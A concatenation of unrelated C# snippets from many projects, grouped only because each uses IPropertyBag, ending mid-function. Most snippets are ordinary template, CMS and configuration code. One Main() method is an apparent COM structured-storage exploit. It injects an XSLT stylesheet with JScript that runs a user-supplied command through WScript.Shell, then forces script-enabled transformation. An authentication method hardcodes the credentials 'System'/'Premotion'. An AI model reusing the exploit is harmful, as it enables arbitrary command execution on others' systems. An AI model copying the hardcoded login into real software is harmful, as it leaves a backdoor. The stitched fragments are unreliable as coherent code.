public override object Run(object obj, string[] parameters, IPropertyBag bag, IMarkupBase markup) { if (parameters == null || (parameters.Length < 2 || parameters.Length > 3)) throw new ImpressionInterpretException("Filter " + Keyword + " expects 2 or 3 parameters.", markup); // text field to bind to // selected value // text field to bind to // value field to bind to // selected value if (obj == null) return null; if (obj.GetType().GetInterface("IEnumerable") != null) { IReflector reflector = new Reflector(); bool textOnly = parameters.Length == 2; string textField = parameters[0]; string selectedField = textOnly ? parameters[1] : parameters[2]; StringBuilder optionBuilder = new StringBuilder(); IEnumerator en = ((IEnumerable) obj).GetEnumerator(); // " for quotes // ' for apostrophes // lookup the selected value object selectedObject = bag == null ? null : reflector.Eval(bag, selectedField); string selectedValue = selectedObject != null ? selectedObject.ToString() : null; if (textOnly) { while (en.MoveNext()) { object current = en.Current; object textObject = reflector.Eval(current, textField); string textString = textObject != null ? textObject.ToString() : null; string selected = (textString == selectedValue) ? " selected=\"true\"" : ""; optionBuilder.AppendFormat("<option{1}>{0}</option>", textString, selected); } } else { string valueField = parameters[1]; while(en.MoveNext()) { object current = en.Current; object textObject = reflector.Eval(current, textField); string textString = textObject != null ? textObject.ToString() : null; object valueObject = reflector.Eval(current, valueField); string valueString = valueObject != null ? valueObject.ToString() : null; string selected = (valueString == selectedValue) ? " selected=\"true\"" : ""; optionBuilder.AppendFormat("<option value=\"{0}\"{2}>{1}</option>", valueString, textString, selected); } } return optionBuilder.ToString(); } return null; }
/// <summary> /// Writes <paramref name="values"/> to the output. /// </summary> /// <param name="context">The <see cref="IMansionContext"/>.</param> /// <param name="values">The <see cref="IPropertyBag"/> containing the values which to write.</param> public void Write(IMansionContext context, IPropertyBag values) { // validate arguments if (context == null) throw new ArgumentNullException("context"); if (values == null) throw new ArgumentNullException("values"); CheckDisposed(); // write out the values for (var index = 0; index < format.ColumnProperties.Length; index++) { // write out the current value when there is one string value; if (values.TryGet(context, format.ColumnProperties[index], out value)) { outputPipe.Writer.Write(format.TextQualifier); outputPipe.Writer.Write(value); outputPipe.Writer.Write(format.TextQualifier); } // write out the column or row delimitor outputPipe.Writer.Write(index == (format.ColumnProperties.Length - 1) ? format.RowDelimitor : format.ColumnDelimitor); } }
public bool IsVisible(IPropertyBag properties) { if (base.CompareFromContext(properties, "UserMode", "1") != 0) // Runtime return true; else // DesignTime return properties.GetPropertyValue<bool>("EnableCheckbox"); }
public override object Run(object obj, string[] parameters, IPropertyBag bag, IMarkupBase markup) { if (parameters != null && parameters.Length > 0) throw new ImpressionInterpretException("Filter " + Keyword + " cannot be used with parameters.", markup); return !AsBoolean(obj); }
/// <summary> /// Creates a filled nodeset. /// </summary> /// <param name="context">The <see cref="IMansionContext"/>.</param> /// <param name="properties"></param> /// <param name="records"></param> public RecordSet(IMansionContext context, IPropertyBag properties, IEnumerable<Record> records) : base(properties) { // validate arguments if (records == null) throw new ArgumentNullException("records"); if (properties == null) throw new ArgumentNullException("properties"); // set values foreach (var node in records) RowCollection.Add(node); Set("count", RowCollection.Count); // check for paging var totalRowCount = properties.Get(context, "totalCount", -1); var pageNumber = properties.Get(context, "pageNumber", -1); var rowsPerPage = properties.Get(context, "pageSize", -1); if (totalRowCount != -1 && pageNumber != -1 && rowsPerPage != -1) SetPaging(totalRowCount, pageNumber, rowsPerPage); // check for sort string sortString; if (properties.TryGet(context, "sort", out sortString)) { foreach (var sort in Collections.Sort.Parse(sortString)) AddSort(sort); } }
public object Run(object obj, string[] parameters, IPropertyBag bag, IMarkupBase markup) { if (parameters != null && parameters.Length > 0) throw new ImpressionInterpretException("Formatter " + Keyword + " cannot be used with parameters.", markup); return (obj != null ? obj.ToString().Trim() : obj); }
int IVsPersistSolutionProps.WriteSolutionProps(IVsHierarchy pHierarchy, string pszKey, IPropertyBag pPropBag) { if (pHierarchy != null) return VSConstants.S_OK; // Not send by our code! else if(pPropBag == null) return VSConstants.E_POINTER; // This method is called from the VS implementation after a request from SaveSolutionProps ISccSettingsStore translate = GetService<ISccSettingsStore>(); IVisualGitSccService scc = GetService<IVisualGitSccService>(); using (IPropertyMap map = translate.GetMap(pPropBag)) { switch (pszKey) { case GitPropertyCategory: map.SetRawValue(ManagedPropertyName, true.ToString()); // BH: Don't localize this text! Changing it will change all solutions marked as managed by VisualGit map.SetRawValue(ManagerPropertyName, "VisualGit - Git Support for Visual Studio"); scc.WriteSolutionProperties(map); break; case VisualGitId.SccStructureName: translate.WriteSolutionProperties(map); break; } } return VSConstants.S_OK; }
/// <summary> /// This method is called just after a node is updated by the repository. /// </summary> /// <param name="context">The <see cref="IMansionContext"/>.</param> /// <param name="record"> </param> /// <param name="properties">The properties which were set to the updated <paramref name="record"/>.</param> protected override void DoAfterUpdate(IMansionContext context, Record record, IPropertyBag properties) { // get the propagate property names var propagatePropertyNames = properties.Names.Where(x => x.StartsWith(PropagatePrefix, StringComparison.OrdinalIgnoreCase)); // get the property names who's value is true var propagatedNowProperties = propagatePropertyNames.Where(x => properties.Get(context, x, false)); // loop over all the updated properties and propagated properties foreach (var propagatePropertyName in propagatedNowProperties) { // get the name of the property being propagated var propagatedPropertyName = propagatePropertyName.Substring(PropagatePrefix.Length); // get the propagated property value var propagatedPropertyValue = properties.Get<object>(context, propagatedPropertyName); // retrieve all the children nodes and update them all foreach (var childNode in context.Repository.RetrieveNodeset(context, new PropertyBag { {"parentSource", record}, {"depth", "any"} }).Nodes) { context.Repository.UpdateNode(context, childNode, new PropertyBag { {propagatedPropertyName, propagatedPropertyValue} }); } } }
/// <summary> /// This method is called just before a node is updated by the repository. /// </summary> /// <param name="context">The <see cref="IMansionContext"/>.</param> /// <param name="node">The node which will be modified.</param> /// <param name="modifiedProperties">The updated properties of the node.</param> protected override void DoBeforeUpdate(IMansionContext context, Node node, IPropertyBag modifiedProperties) { // if the name has not changed we are not interested string newName; if (!modifiedProperties.TryGet(context, "name", out newName)) return; // if the name has not changed after normalization we are not interested newName = TagUtilities.Normalize(newName); if (node.Pointer.Name.Equals(newName)) { modifiedProperties.Remove("name"); return; } modifiedProperties.Set("name", newName); // if the tag is renamed to another already existing tag, move all content to that existing tag and delete this one Node existingTag; var tagIndexNode = TagUtilities.RetrieveTagIndexNode(context); if (TagUtilities.TryRetrieveTagNode(context, tagIndexNode, newName, out existingTag)) { // TODO: move all content to the existing tag // TODO: delete this tag } }
/// <summary> /// Gets the dataset. /// </summary> /// <param name="context">The request context.</param> /// <param name="attributes">The attributes of this tag.</param> /// <returns>Returns the result.</returns> protected override Dataset Get(IMansionContext context, IPropertyBag attributes) { // create the dataset var dataset = new Dataset(); // loop over all the CMS plugin types foreach (var plugin in typeService.Load(context, "CmsPlugin").GetInheritingTypes(context).Select(type => { // get the plugin descriptor CmsPluginDescriptor descriptor; if (!type.TryGetDescriptor(out descriptor)) throw new InvalidOperationException(string.Format("Type '{0}' does not contain a CMS-plugin", type.Name)); // return the model return new { Type = type, Descriptor = descriptor }; }).OrderBy(plugin => plugin.Descriptor.GetOrder(context))) { // create the plugin row var row = new PropertyBag { {"type", plugin.Type.Name} }; // add the row to the dataset dataset.AddRow(row); } return dataset; }
public override object Run(object obj, string[] parameters, IPropertyBag bag, IMarkupBase markup) { string dateFormat = null; if (parameters != null && parameters.Length > 1) throw new ImpressionInterpretException("Formatter " + Keyword + " does not accept more than one parameter."); if (parameters == null || parameters.Length == 0) dateFormat = ImpressionEngine.DateFormat; else dateFormat = IsLiteral(parameters[0]) ? GetLiteral(parameters[0]) : bag[parameters[0]].ToString(); if (obj != null) { if (obj is DateTime) { obj = ((DateTime)obj).ToString(dateFormat); } else { DateTime val; if (DateTime.TryParse(obj.ToString(), out val)) { obj = val.ToString(dateFormat); } } } return obj; }
/// <summary> /// Processes the <paramref name="parameters"/> and turn them into <paramref name="query"/>. /// </summary> /// <param name="context">The <see cref="IMansionContext"/>.</param> /// <param name="parameters">The parameters which to process.</param> /// <param name="query">The <see cref="Query"/> in which to set the parameters.</param> protected override void DoProcess(IMansionContext context, IPropertyBag parameters, Query query) { // check for the cache flag object tmp; if (parameters.TryGetAndRemove(context, StorageOnlyQueryComponent.PropertyKey, out tmp)) query.Add(new StorageOnlyQueryComponent()); }
public void Setup() { _filter = new DateFilter(); _bag = new PropertyBag(); _date = DateTime.Now; _parameters = new [] { "" }; }
/// <summary> /// /// </summary> /// <param name="context"></param> /// <param name="queryBuilder"></param> /// <param name="record"> </param> /// <param name="modifiedProperties"></param> protected override void DoToUpdateStatement(IMansionContext context, ModificationQueryBuilder queryBuilder, Record record, IPropertyBag modifiedProperties) { // check if the property is not modified int newOrder; if (!modifiedProperties.TryGet(context, PropertyName, out newOrder)) return; // check if the record contains a pointer NodePointer pointer; if (!record.TryGet(context, "pointer", out pointer)) throw new InvalidOperationException("Could not update this record because it did not contain a pointer"); // don't update order for root nodes if (pointer.Depth == 1) return; // do not allow values smaller than 1 if (newOrder < 1) throw new InvalidOperationException("Can not set orders smaller than 1"); // assemble parameter var newOrderParameterName = queryBuilder.AddParameter("newOrder", newOrder, DbType.Int32); var oldOrderParameterName = queryBuilder.AddParameter("oldOrder", record.Get<int>(context, PropertyName), DbType.Int32); var parentIdParameterName = queryBuilder.AddParameter("parentId", pointer.Parent.Id, DbType.Int32); // update the orders before updating the order of the current node queryBuilder.PrependQuery(string.Format("UPDATE [Nodes] SET [order] = [order] + 1 WHERE (parentId = {0}) AND ([order] < {1} AND [order] >= {2})", parentIdParameterName, oldOrderParameterName, newOrderParameterName)); queryBuilder.PrependQuery(string.Format("UPDATE [Nodes] SET [order] = [order] - 1 WHERE (parentId = {0}) AND ([order] > {1} AND [order] <= {2})", parentIdParameterName, oldOrderParameterName, newOrderParameterName)); // update the column queryBuilder.AddColumnValue(PropertyName, newOrderParameterName); }
/// <summary> /// Initializes the given <paramref name="column"/>. /// </summary> /// <param name="context">The <see cref="IMansionContext"/>.</param> /// <param name="column">The <see cref="PropertyColumn"/> which to initialze.</param> /// <param name="properties">The properties.</param> /// <exception cref="ArgumentNullException">Thrown if one of the parameters is null.</exception> protected static void Initialize(IMansionContext context, PropertyColumn column, IPropertyBag properties) { // validate arguments if (context == null) throw new ArgumentNullException("context"); if (column == null) throw new ArgumentNullException("column"); if (properties == null) throw new ArgumentNullException("properties"); // get the allow null flag column.AllowNullValue = properties.Get(context, "allowNullValue", false); // check if there is an expression string expressionString; if (properties.TryGet(context, "expression", out expressionString)) { var expressionService = context.Nucleus.ResolveSingle<IExpressionScriptService>(); column.HasExpression = true; column.Expression = expressionService.Parse(context, new LiteralResource(expressionString)); } // get the default value string defaultValue; if (properties.TryGet(context, "defaultValue", out defaultValue)) { var expressionService = context.Nucleus.ResolveSingle<IExpressionScriptService>(); var defaultValueExpression = expressionService.Parse(context, new LiteralResource(defaultValue)); column.DefaultValue = defaultValueExpression.Execute<object>(context); column.HasDefaultValue = true; } }
/// <summary> /// Processes the <paramref name="parameters"/> and turn them into <paramref name="query"/>. /// </summary> /// <param name="context">The <see cref="IMansionContext"/>.</param> /// <param name="parameters">The parameters which to process.</param> /// <param name="query">The <see cref="Query"/> in which to set the parameters.</param> protected override void DoProcess(IMansionContext context, IPropertyBag parameters, Query query) { // check for search string where; if (parameters.TryGetAndRemove(context, "sqlWhere", out where) && !string.IsNullOrEmpty(where)) query.Add(new SqlWhereSpecification(where)); }
/// <summary> /// Authenticates the user. /// </summary> /// <param name="context">The security context.</param> /// <param name="parameters">The parameters used for authentication.</param> /// <returns>Returns the <see cref="AuthenticationResult"/>.</returns> protected override AuthenticationResult DoAuthenticate(IMansionContext context, IPropertyBag parameters) { // get the credentials var username = parameters.Get<string>(context, "username"); if (string.IsNullOrEmpty(username)) { return AuthenticationResult.Failed(new PropertyBag { {AuthenticationResult.ReasonPropertyName, AuthenticationResult.NoUsernameSpecifiedReason} }); } var password = parameters.Get<string>(context, "password"); if (string.IsNullOrEmpty(password)) { return AuthenticationResult.Failed(new PropertyBag { {AuthenticationResult.ReasonPropertyName, AuthenticationResult.NoPasswordSpecifiedReason} }); } // check for incorrect credentials if (!username.Equals("System") || !password.Equals("Premotion")) { return AuthenticationResult.Failed(new PropertyBag { {AuthenticationResult.ReasonPropertyName, AuthenticationResult.InvalidCredentialsReason} }); } // return the user return AuthenticationResult.Success(new UserState(Guid.NewGuid(), this), new PropertyBag()); }
/// <summary> /// Constructs an section. /// </summary> /// <param name="context">The <see cref="IMansionContext"/>.</param> /// <param name="properties">The descriptor of this section.</param> /// <param name="expression">The expressio of this section.</param> public Section(IMansionContext context, IPropertyBag properties, IExpressionScript expression) { // validate arguments if (context == null) throw new ArgumentNullException("context"); if (properties == null) throw new ArgumentNullException("properties"); if (expression == null) throw new ArgumentNullException("expression"); // set values Properties = properties; Expression = expression; Id = Guid.NewGuid().ToString(); Name = Properties.Get<string>(context, "name"); ShouldBeRenderedOnce = !Properties.Get(context, "repeatable", true); TargetField = Properties.Get(context, "field", Name); // check if there is a requires property string requiresExpressionString; if (Properties.TryGet(context, "requires", out requiresExpressionString)) { // assemble the expression var expressionService = context.Nucleus.ResolveSingle<IExpressionScriptService>(); var requiresExpression = expressionService.Parse(context, new LiteralResource(requiresExpressionString)); // execute the expression areRequirementsSatisfied = requiresExpression.Execute<bool>; } else areRequirementsSatisfied = mansionContext => true; }
public object Run(object obj, string[] parameters, IPropertyBag bag, IMarkupBase markup) { if (parameters != null && parameters.Length > 1) throw new ImpressionInterpretException("Filter " + Keyword + " does not accept parameters."); if (obj == null) { obj = 0.0; } double val = 0; string valString = obj.ToString(); if (Double.TryParse(valString, out val)) { int pointIndex = valString.IndexOf('.'); if (pointIndex >= 0) { string subs = valString.Substring(pointIndex + 1, valString.Length - (pointIndex + 1)); if (subs.Length > 2) { obj = subs.Substring(0, 2); } else { obj = subs.PadRight(2, '0'); } } else { obj = "00"; } } return obj; }
/// <summary> /// Tries to revive the user based on the revival properties. /// </summary> /// <param name="context">The security context.</param> /// <param name="revivalProperties">The revival properties.</param> /// <returns>Returns the revived <see cref="UserState"/> or null.</returns> public override UserState ReviveUser(IMansionContext context, IPropertyBag revivalProperties) { // validate arguments if (context == null) throw new ArgumentNullException("context"); if (revivalProperties == null) throw new ArgumentNullException("revivalProperties"); // get the id of the from the revival properties Guid id; if (!revivalProperties.TryGet(context, "id", out id)) return null; // retrieve the user by guid var userNode = context.Repository.RetrieveSingleNode(context, new PropertyBag { {"baseType", "User"}, {"guid", id}, {"status", "any"}, {"bypassAuthorization", true}, {"cache", false}, {StorageOnlyQueryComponent.PropertyKey, true} }); if (userNode == null) return null; // create and return the user state return CreateUserState(context, userNode); }
/// <summary> /// Populates the fullText property. /// </summary> /// <param name="context">The <see cref="IMansionContext"/>.</param> /// <param name="modifiedProperties">The modified <see cref="IPropertyBag"/>.</param> /// <param name="originalProperties">The original <see cref="IPropertyBag"/>.</param> /// <exception cref="ArgumentNullException">Thrown if one of the parameters is null.</exception> public void Populate(IMansionContext context, IPropertyBag modifiedProperties, IPropertyBag originalProperties) { //validate arguments if (context == null) throw new ArgumentNullException("context"); if (modifiedProperties == null) throw new ArgumentNullException("modifiedProperties"); if (originalProperties == null) throw new ArgumentNullException("originalProperties"); // get all the properties over which to loop var properties = Properties.Get<string>(context, "properties").Split(new[] {','}, StringSplitOptions.RemoveEmptyEntries).Select(property => property.Trim()); // assemble the content var buffer = new StringBuilder(); foreach (var property in properties) { // get the content for the given property String content; if (!modifiedProperties.TryGet(context, property, out content)) { if (!originalProperties.TryGet(context, property, out content)) continue; } // strip the HTML content = content.StripHtml(); // add it to the buffer buffer.AppendLine(content); } // if there is full-text content, add it to the full-text property, otherwise set it to null modifiedProperties.Set("fullText", buffer.Length > 0 ? buffer.ToString() : null); }
/// <summary> /// Maps the given <paramref name="dbRecord"/> to <paramref name="properties"/>. /// </summary> /// <param name="context">The <see cref="IMansionContext"/>.</param> /// <param name="dbRecord">The <see cref="DbRecord"/> which to map.</param> /// <param name="properties">The <see cref="IPropertyBag"/> in which to store the mapped result.</param> protected override void DoMap(IMansionContext context, DbRecord dbRecord, IPropertyBag properties) { // field indices var idIndex = dbRecord.GetOrdinal("id"); var parentPointerIndex = dbRecord.GetOrdinal("parentPointer"); var nameIndex = dbRecord.GetOrdinal("name"); var parentPathIndex = dbRecord.GetOrdinal("parentPath"); var typeIndex = dbRecord.GetOrdinal("type"); var parentStructureIndex = dbRecord.GetOrdinal("parentStructure"); // assemble the node pointer var pointer = (dbRecord.IsDBNull(parentPointerIndex) ? string.Empty : dbRecord.GetString(parentPointerIndex) + NodePointer.PointerSeparator) + dbRecord.GetInt32(idIndex); var structure = (dbRecord.IsDBNull(parentStructureIndex) ? string.Empty : dbRecord.GetString(parentStructureIndex) + NodePointer.StructureSeparator) + dbRecord.GetString(typeIndex); var path = (dbRecord.IsDBNull(parentPathIndex) ? string.Empty : dbRecord.GetString(parentPathIndex) + NodePointer.PathSeparator) + dbRecord.GetString(nameIndex); var nodePointer = NodePointer.Parse(pointer, structure, path); // set the pointer properties.Set("pointer", nodePointer); properties.Set("path", nodePointer.PathString); properties.Set("structure", nodePointer.StructureString); properties.Set("depth", nodePointer.Depth); properties.Set("name", nodePointer.Name); properties.Set("type", nodePointer.Type); if (nodePointer.HasParent) { properties.Set("parentPointer", nodePointer.Parent); properties.Set("parentId", nodePointer.Parent.Id); } }
/// <summary> /// Creates a new node in this repository. /// </summary> /// <param name="context">The <see cref="IMansionContext"/>.</param> /// <param name="parent">The parent node.</param> /// <param name="newProperties">The properties of the node which to create.</param> /// <returns>Returns the created nodes.</returns> protected override Node DoCreateNode(IMansionContext context, Node parent, IPropertyBag newProperties) { // build the query int nodeId; using (var connection = CreateConnection()) using (var transaction = connection.BeginTransaction()) using (var command = context.Nucleus.CreateInstance<InsertNodeCommand>()) { // init the command command.Prepare(context, connection, transaction, parent.Pointer, newProperties); // execute the command try { // execute the query nodeId = command.Execute(); // woohoo it worked! transaction.Commit(); } catch (Exception) { // something terrible happened, revert everything transaction.Rollback(); throw; } } // retrieve the created node return RetrieveSingleNode(context, new Query().Add(new IsPropertyEqualSpecification("id", nodeId))); }
/// <summary> /// Processes the <paramref name="parameters"/> and turn them into <paramref name="query"/>. /// </summary> /// <param name="context">The <see cref="IMansionContext"/>.</param> /// <param name="parameters">The parameters which to process.</param> /// <param name="query">The <see cref="Query"/> in which to set the parameters.</param> protected override void DoProcess(IMansionContext context, IPropertyBag parameters, Query query) { var counter = 0; // check for id, guid or pointer int id; if (parameters.TryGetAndRemove(context, "id", out id)) { query.Add(new IsPropertyEqualSpecification("id", id)); counter++; } string guids; if (parameters.TryGetAndRemove(context, "guid", out guids) && !string.IsNullOrEmpty(guids)) { // split the value var values = guids.Split(new[] {','}, StringSplitOptions.RemoveEmptyEntries).Select(x => x.Trim()).ToArray(); query.Add(new IsPropertyInSpecification("guid", values)); counter++; } NodePointer pointer; if (parameters.TryGetAndRemove(context, "pointer", out pointer)) { query.Add(new IsPropertyEqualSpecification("id", pointer.Id)); counter++; } // check for ambigous parameters if (counter > 1) throw new InvalidOperationException("Detected an ambigious id parmeters. Remove either id, guid or pointer."); }
/// <summary> /// Maps the properties of the row. /// </summary> /// <param name="context">The <see cref="IMansionWebContext"/>.</param> /// <param name="row">The row which to map.</param> /// <returns>Returns the mapped result.</returns> protected override IPropertyBag DoMapRowProperties(IMansionWebContext context, IPropertyBag row) { return new PropertyBag { {"value", row.Get(context, valueProperty, string.Empty)}, {"label", row.Get(context, labelProperty, string.Empty)} }; }
/// <summary> /// /// </summary> /// <param name="context"></param> /// <param name="queryBuilder"></param> /// <param name="record"> </param> /// <param name="modifiedProperties"></param> protected override void DoToUpdateStatement(IMansionContext context, ModificationQueryBuilder queryBuilder, Record record, IPropertyBag modifiedProperties) { // get the parameter name var parameterName = queryBuilder.AddParameter("id", record.Id, DbType.Int32); // nothing to update, just tell what queryBuilder.AppendWhereClause("[id] = " + parameterName); }
/// <summary> /// Builds and executes the query. /// </summary> /// <param name="context">The request context.</param> /// <param name="arguments">The arguments from which to build the query.</param> /// <param name="repository">The <see cref="IRepository"/>.</param> /// <param name="parser">The <see cref="IQueryParser"/>.</param> /// <returns>Returns the result.</returns> protected override Record Retrieve(IMansionContext context, IPropertyBag arguments, IRepository repository, IQueryParser parser) { // parse the query var query = parser.Parse(context, arguments); // execute and return the result return repository.RetrieveSingle(context, query); }
/// <summary> /// Sets the properties. /// </summary> /// <param name="context"></param> /// <param name="dataspace"></param> /// <param name="attributes"></param> private void SetProperties(IMansionContext context, IPropertyBag dataspace, IEnumerable<KeyValuePair<string, object>> attributes) { // copy the attributes dataspace.Merge(attributes); // execute children ExecuteChildTags(context); }
/// <summary> /// /// </summary> /// <param name="context"></param> /// <param name="queryBuilder"></param> /// <param name="record"> </param> /// <param name="modifiedProperties"></param> protected override void DoToUpdateStatement(IMansionContext context, ModificationQueryBuilder queryBuilder, Record record, IPropertyBag modifiedProperties) { // create paremeter var idParameterName = queryBuilder.AddParameter("id", record.Id, DbType.Int32); // add where clause queryBuilder.AppendWhereClause("[id] = " + idParameterName); }
/// <summary> /// Maps the given <paramref name="dbRecord"/> to <paramref name="properties"/>. /// </summary> /// <param name="context">The <see cref="IMansionContext"/>.</param> /// <param name="dbRecord">The <see cref="DbRecord"/> which to map.</param> /// <param name="properties">The <see cref="IPropertyBag"/> in which to store the mapped result.</param> protected override void DoMap(IMansionContext context, DbRecord dbRecord, IPropertyBag properties) { // field indices var idIndex = dbRecord.GetOrdinal("id"); // set the pointer properties.Set("id", dbRecord.GetInt32(idIndex)); }
static void Main(string[] args) { if (args.Length > 0) { RunComServer(); } else { dynamic obj = null; try { obj = Activator.CreateInstance(Type.GetTypeFromCLSID(typeof(COMService).GUID)); } catch (Exception) { Console.WriteLine("Couldn't create object, running as server instead"); RunComServer(); return; } try { IStorage stg = obj.GetStorage(); Console.WriteLine("Specify command line to start"); string cmdline = Console.ReadLine().Trim(); IStorage new_stg = stg.CreateStorage("TestStorage", 2 | 0x1000 | 0x10, 0, 0); Console.WriteLine("new_stg: {0}", new_stg); IPropertyBag bag = (IPropertyBag)new_stg; Console.WriteLine("Bag: {0}", bag); PROPVARIANT var = new PROPVARIANT(new FakeObject()); bag.Write("X", var); Console.WriteLine("Completed Write"); new_stg.Commit(0); Marshal.ReleaseComObject(bag); Marshal.ReleaseComObject(new_stg); new_stg = stg.OpenStorage("TestStorage", IntPtr.Zero, 0x12, IntPtr.Zero, 0); bag = (IPropertyBag)new_stg; var = new PROPVARIANT(0); Console.WriteLine("Reading back steam"); bag.Read("X", var, IntPtr.Zero); System.Runtime.InteropServices.ComTypes.IStream stm = (System.Runtime.InteropServices.ComTypes.IStream)var.ToObject(); stm.Seek(16, 0, IntPtr.Zero); byte[] arr = Encoding.ASCII.GetBytes("<xsl:stylesheet version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' xmlns:msxsl='urn:schemas-microsoft-com:xslt' xmlns:user='******'> <msxsl:script language='JScript' implements-prefix='user'> function xml(nodelist) { var o = new ActiveXObject('WScript.Shell'); o.Exec('%CMDLINE%'); return nodelist.nextNode().xml; } </msxsl:script> <xsl:template match='/'> <xsl:value-of select='user:xml(.)'/> </xsl:template> </xsl:stylesheet>".Replace("%CMDLINE%", cmdline)); stm.Write(arr, arr.Length, IntPtr.Zero); Console.WriteLine("Done Write"); Marshal.ReleaseComObject(stm); Marshal.ReleaseComObject(bag); Marshal.ReleaseComObject(new_stg); new_stg = stg.OpenStorage("TestStorage", IntPtr.Zero, 0x12, IntPtr.Zero, 0); bag = (IPropertyBag)new_stg; var = new PROPVARIANT(); Console.WriteLine("Reading back steam"); bag.Read("X", var, IntPtr.Zero); dynamic doc = var.ToObject(); Console.WriteLine("Done Read {0}", doc); doc.setProperty("AllowXsltScript", true); doc.transformNode(doc); } catch (Exception ex) { Console.WriteLine("Error: {0}", ex.Message); } } }
/// <summary> /// Saves the current component configuration into the property bag /// </summary> /// <param name="pb">Configuration property bag</param> /// <param name="fClearDirty">not used</param> /// <param name="fSaveAllProperties">not used</param> public virtual void Save(IPropertyBag pb, bool fClearDirty, bool fSaveAllProperties) { this.WritePropertyBag(pb, "MessageTypeStrIgnore", this.MessageTypeStrIgnore); }
void IAdapter.Save(IPropertyBag propertyBag) { Save(propertyBag); }
public void Save(IPropertyBag propertyBag, bool clearDirty, bool saveAllProperties) { }
public override PropertyConstraintViolationError Validate(object value, PropertyDefinition propertyDefinition, IPropertyBag propertyBag) { if (value == null || value.ToString().Length == 0) { return(null); } return(base.Validate(value, propertyDefinition, propertyBag)); }
internal static string SharePointDocumentsUrlGetter(IPropertyBag propertyBag) { MultiValuedProperty <string> sharePointResources = (MultiValuedProperty <string>)propertyBag[ADMailboxRecipientSchema.SharePointResources]; return(GroupMailbox.ExtractSharePointResource(sharePointResources, "DocumentsUrl")); }
/// <summary> /// Saves the current component configuration into the property bag /// </summary> /// <param name="propertyBag">Configuration property bag</param> protected override void Save(IPropertyBag propertyBag) { propertyBag.WriteProperty("TrackingContextRetentionDuration", TrackingContextRetentionDuration); propertyBag.WriteProperty("TrackingModes", TrackingModes); }
/// <summary> /// Loads configuration properties for the component /// </summary> /// <param name="propertyBag">Configuration property bag</param> protected override void Load(IPropertyBag propertyBag) { propertyBag.ReadProperty("TrackingContextRetentionDuration", value => TrackingContextRetentionDuration = value); propertyBag.ReadProperty <ActivityTrackingModes>("TrackingModes", value => TrackingModes = value); }
internal static object SyntaxGetter(IPropertyBag propertyBag) { string text = (string)propertyBag[ADSchemaAttributeSchema.RawAttributeSyntax]; int num = (int)((AttributeSyntax)propertyBag[ADSchemaAttributeSchema.OMSyntax]); byte[] values = (byte[])propertyBag[ADSchemaAttributeSchema.OMObjectClass]; DataSyntax dataSyntax = DataSyntax.UnDefined; string key; switch (key = text) { case "2.5.5.0": dataSyntax = DataSyntax.UnDefined; break; case "2.5.5.1": dataSyntax = DataSyntax.DSDN; break; case "2.5.5.2": dataSyntax = DataSyntax.ObjectIdentifier; break; case "2.5.5.3": dataSyntax = DataSyntax.CaseSensitive; break; case "2.5.5.4": dataSyntax = DataSyntax.Teletex; break; case "2.5.5.5": if (num == 19) { dataSyntax = DataSyntax.Printable; } else if (num == 22) { dataSyntax = DataSyntax.IA5; } break; case "2.5.5.6": dataSyntax = DataSyntax.Numeric; break; case "2.5.5.7": { string y = ADSchemaAttributeObject.ToHexString(values); if (StringComparer.OrdinalIgnoreCase.Equals("2A864886F7140101010B", y)) { dataSyntax = DataSyntax.DNBinary; } else if (StringComparer.OrdinalIgnoreCase.Equals("56060102050B1D", y)) { dataSyntax = DataSyntax.ORName; } break; } case "2.5.5.8": dataSyntax = DataSyntax.Boolean; break; case "2.5.5.9": if (num == 2) { dataSyntax = DataSyntax.Integer; } else if (num == 10) { dataSyntax = DataSyntax.Enumeration; } break; case "2.5.5.10": if (num == 4) { dataSyntax = DataSyntax.Octet; } else if (num == 127) { dataSyntax = DataSyntax.ReplicaLink; } break; case "2.5.5.11": if (num == 23) { dataSyntax = DataSyntax.UTCTime; } else if (num == 24) { dataSyntax = DataSyntax.GeneralizedTime; } break; case "2.5.5.12": dataSyntax = DataSyntax.Unicode; break; case "2.5.5.13": dataSyntax = DataSyntax.PresentationAddress; break; case "2.5.5.14": { string y = ADSchemaAttributeObject.ToHexString(values); if (StringComparer.OrdinalIgnoreCase.Equals("2B0C0287731C00853E", y)) { dataSyntax = DataSyntax.AccessPoint; } else if (StringComparer.OrdinalIgnoreCase.Equals("2A864886F7140101010C", y)) { dataSyntax = DataSyntax.DNString; } break; } case "2.5.5.15": dataSyntax = DataSyntax.NTSecDesc; break; case "2.5.5.16": dataSyntax = DataSyntax.LargeInteger; break; case "2.5.5.17": dataSyntax = DataSyntax.Sid; break; } return(dataSyntax); }
/// <summary> /// Loads properties from a property bag into this instance of the pipeline component. /// These properties will be editable in the pipeline properties window in BizTalk Administrator. /// </summary> /// <seealso cref="IPersistPropertyBag.Load()"/> /// <param name="propertyBag">The property bag containing property values.</param> /// <param name="errorLog">Not used.</param> public override void Load(IPropertyBag propertyBag, int errorLog) { Tag = ReadString(propertyBag, "Tag") ?? Tag; }
public override PropertyConstraintViolationError Validate(object value, PropertyDefinition propertyDefinition, IPropertyBag propertyBag) { if (value == null) { return(new PropertyConstraintViolationError(DataStrings.PropertyNotEmptyOrNull, propertyDefinition, value, this)); } return(null); }
protected override bool TryCreateEntry(string name, string displayName, IBaseFilter filter, IPropertyBag propertyBag, out DeviceEntry entry) { entry = new DeviceEntry(name, displayName, filter, propertyBag); return(true); }
protected abstract bool TryCreateEntry(string name, string displayName, IBaseFilter filter, IPropertyBag propertyBag, out T entry);
private static StructProxy Get(ref EntityContainer container, int index, HashSet <Type> primitiveTypes) { var typeIndex = container.m_Manager.GetComponentTypeIndex(container.m_Entity, index); var propertyType = TypeManager.GetType(typeIndex); if (typeof(ISharedComponentData).IsAssignableFrom(propertyType)) { try { var o = container.m_Manager.GetSharedComponentData(container.m_Entity, typeIndex); // TODO: skip the StructObjectProxyProperty adapter and have the Accept() // TODO: handle Struct & Object proxies var p = new StructProxy { bag = new StructPropertyBag <StructProxy>( new StructObjectProxyProperty(propertyType, o, primitiveTypes) ), data = default(byte *), type = propertyType }; return(p); } catch (Exception) { } } if (typeof(IBufferElementData).IsAssignableFrom(propertyType)) { IPropertyBag bag = TypeInformation.GetOrCreate(propertyType, primitiveTypes); var p = new StructProxy { bag = new StructPropertyBag <StructProxy>( new BufferListProxyProperty( bag, propertyType, container.m_Manager.GetBufferLength(container.m_Entity, typeIndex) ) ), data = (byte *)container.m_Manager.GetBufferRawRW(container.m_Entity, typeIndex), type = propertyType }; return(p); } { IPropertyBag bag = TypeInformation.GetOrCreate(propertyType, primitiveTypes); byte *data = null; if (bag.PropertyCount > 1 